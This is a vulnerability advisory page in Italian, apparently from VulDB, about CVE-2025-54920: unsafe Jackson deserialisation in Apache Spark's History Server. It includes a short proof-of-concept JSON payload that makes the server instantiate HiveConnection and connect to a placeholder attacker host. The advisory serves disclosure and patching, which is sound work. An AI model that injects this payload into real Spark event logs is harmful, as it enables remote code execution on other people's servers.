CVE-2025-54920 in Sparkinformazioni

Riassunto

di VulDB • 14/06/2026

Questo problema interessa Apache Spark: le versioni precedenti alla 3.5.7 e alla 4.0.1 sono colpite. Si consiglia agli utenti di effettuare l'aggiornamento alle versioni 3.5.7 o 4.0.1 e successive, che risolvono il problema.



Riepilogo

Apache Spark nelle versioni 3.5.4 e precedenti presenta una vulnerabilità di esecuzione del codice nella Web UI per la cronologia (Spark History Web UI) dovuta a una deserializzazione Jackson dei dati dei log degli eventi eccessivamente permissiva. Ciò consente a un attaccante con accesso alla directory dei log degli eventi Spark di iniettare payload JSON malevoli che innescano la deserializzazione di classi arbitrarie, consentendo l'esecuzione di comandi sull'host su cui è in esecuzione il Server della cronologia (Spark History Server).



Dettagli

La vulnerabilità sorge perché il Server della cronologia utilizza la deserializzazione polimorfica Jackson con @JsonTypeInfo.Id.CLASS sugli oggetti SparkListenerEvent, permettendo a un attaccante di specificare nomi di classi arbitrari nel JSON degli eventi. Questo comportamento consente l'istanziazione di classi non previste, come org.apache.hive.jdbc.HiveConnection, che possono effettuare chiamate di rete o altre azioni malevole durante la deserializzazione.


L'attaccante può sfruttare questa vulnerabilità iniettando contenuto JSON appositamente creato nei file dei log degli eventi Spark, che il Server della cronologia poi deserializza all'avvio o quando carica i log degli eventi. Ad esempio, l'attaccante può costringere il Server della cronologia ad aprire una connessione JDBC verso un server remoto controllato dall'attaccante, dimostrando la capacità di iniezione remota di comandi.






Proof of Concept:

1. Eseguire Spark con la registrazione degli eventi abilitata, scrivendo su una directory scrivibile (spark-logs).

2. Iniettare il seguente JSON all'inizio di un file dei log degli eventi:


{

"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": {
"hive.metastore.uris": "thrift://<IP>:<PORT>" } }







3. Avviare il Server della cronologia Spark con i log puntati alla directory modificata.

4. Il Server della cronologia Spark avvia una connessione JDBC verso il server dell'attaccante, confermando l'iniezione.










Impatto

Un attaccante con accesso in scrittura ai log degli eventi di Spark può eseguire codice arbitrario sul server su cui è in esecuzione il Server della cronologia, compromettendo potenzialmente l'intero sistema.

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Divulgazione

16/03/2026

Moderazione

accettato

CPE

pronto

EPSS

0.05341

KEV

no

Attività

molto basso

Fonti

Do you know our Splunk app?

Download it now for free!